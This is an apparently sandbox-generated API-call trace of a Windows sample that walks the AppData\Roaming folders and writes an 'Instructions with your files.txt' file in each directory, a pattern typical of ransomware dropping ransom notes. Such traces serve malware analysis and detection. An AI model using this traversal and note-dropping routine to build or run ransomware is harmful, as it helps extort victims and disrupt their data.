[0131.267] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a918c00, ftCreationTime.dwHighDateTime=0x1d5c395, ftLastAccessTime.dwLowDateTime=0x4667cd50, ftLastAccessTime.dwHighDateTime=0x1d5b78c, ftLastWriteTime.dwLowDateTime=0x4667cd50, ftLastWriteTime.dwHighDateTime=0x1d5b78c, nFileSizeHigh=0x0, nFileSizeLow=0x4b3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ko Le249_10r-sM.wav", cAlternateFileName="KOLE24~1.WAV")) returned 1
[0131.267] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ko Le249_10r-sM.wav") returned 69
[0131.267] StrStrIW (lpFirst="Ko Le249_10r-sM.wav", lpSrch="SDfghjkl") returned 0x0
[0131.267] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69d59350, ftCreationTime.dwHighDateTime=0x1d5bcfd, ftLastAccessTime.dwLowDateTime=0xcb035f70, ftLastAccessTime.dwHighDateTime=0x1d5b598, ftLastWriteTime.dwLowDateTime=0xcb035f70, ftLastWriteTime.dwHighDateTime=0x1d5b598, nFileSizeHigh=0x0, nFileSizeLow=0xd04e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LGQ6Yas03P9.swf", cAlternateFileName="LGQ6YA~1.SWF")) returned 1
[0131.267] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\LGQ6Yas03P9.swf") returned 65
[0131.267] StrStrIW (lpFirst="LGQ6Yas03P9.swf", lpSrch="SDfghjkl") returned 0x0
[0131.267] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc5d6380, ftCreationTime.dwHighDateTime=0x1d5c0dd, ftLastAccessTime.dwLowDateTime=0xab02860, ftLastAccessTime.dwHighDateTime=0x1d5bbb1, ftLastWriteTime.dwLowDateTime=0xab02860, ftLastWriteTime.dwHighDateTime=0x1d5bbb1, nFileSizeHigh=0x0, nFileSizeLow=0x3ff7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lQ5RA6c-r0.mp4", cAlternateFileName="LQ5RA6~1.MP4")) returned 1
[0131.267] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\lQ5RA6c-r0.mp4") returned 64
[0131.267] StrStrIW (lpFirst="lQ5RA6c-r0.mp4", lpSrch="SDfghjkl") returned 0x0
[0131.267] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74e8ad00, ftCreationTime.dwHighDateTime=0x1d5bec8, ftLastAccessTime.dwLowDateTime=0x808380, ftLastAccessTime.dwHighDateTime=0x1d5ba2b, ftLastWriteTime.dwLowDateTime=0x808380, ftLastWriteTime.dwHighDateTime=0x1d5ba2b, nFileSizeHigh=0x0, nFileSizeLow=0x1039c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M8Wf VnqI5ZQqTyJXNO.avi", cAlternateFileName="M8WFVN~1.AVI")) returned 1
[0131.267] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\M8Wf VnqI5ZQqTyJXNO.avi") returned 73
[0131.267] StrStrIW (lpFirst="M8Wf VnqI5ZQqTyJXNO.avi", lpSrch="SDfghjkl") returned 0x0
[0131.267] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1
[0131.268] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned 60
[0131.268] GetProcessHeap () returned 0x810000
[0131.268] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.268] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*") returned 62
[0131.268] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.268] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\.") returned 62
[0131.268] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.268] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\..") returned 63
[0131.268] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1
[0131.268] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned 73
[0131.268] GetProcessHeap () returned 0x810000
[0131.268] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.268] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned 75
[0131.268] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.268] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\.") returned 75
[0131.269] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.269] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\..") returned 76
[0131.269] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1
[0131.269] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned 88
[0131.269] GetProcessHeap () returned 0x810000
[0131.269] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.270] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*") returned 90
[0131.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.270] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\.") returned 90
[0131.270] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.270] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\..") returned 91
[0131.270] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 1
[0131.271] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB") returned 97
[0131.271] GetProcessHeap () returned 0x810000
[0131.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.271] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*") returned 99
[0131.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.272] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\.") returned 99
[0131.272] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.272] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\..") returned 100
[0131.272] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.272] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\Instructions with your files.txt") returned 130
[0131.272] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\p7y3f7qb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.272] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.273] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.273] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.273] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.273] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.274] CloseHandle (hObject=0x120) returned 1
[0131.274] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.274] GetProcessHeap () returned 0x810000
[0131.274] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.274] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 0
[0131.274] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\Instructions with your files.txt") returned 121
[0131.274] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.274] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.275] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.275] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.275] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.275] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.275] CloseHandle (hObject=0x11c) returned 1
[0131.275] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.275] GetProcessHeap () returned 0x810000
[0131.275] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.275] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1
[0131.275] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned 88
[0131.276] GetProcessHeap () returned 0x810000
[0131.276] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.276] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned 90
[0131.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.276] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\.") returned 90
[0131.276] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.276] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\..") returned 91
[0131.276] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1
[0131.276] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned 96
[0131.276] GetProcessHeap () returned 0x810000
[0131.276] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.276] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned 98
[0131.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.277] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\.") returned 98
[0131.277] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
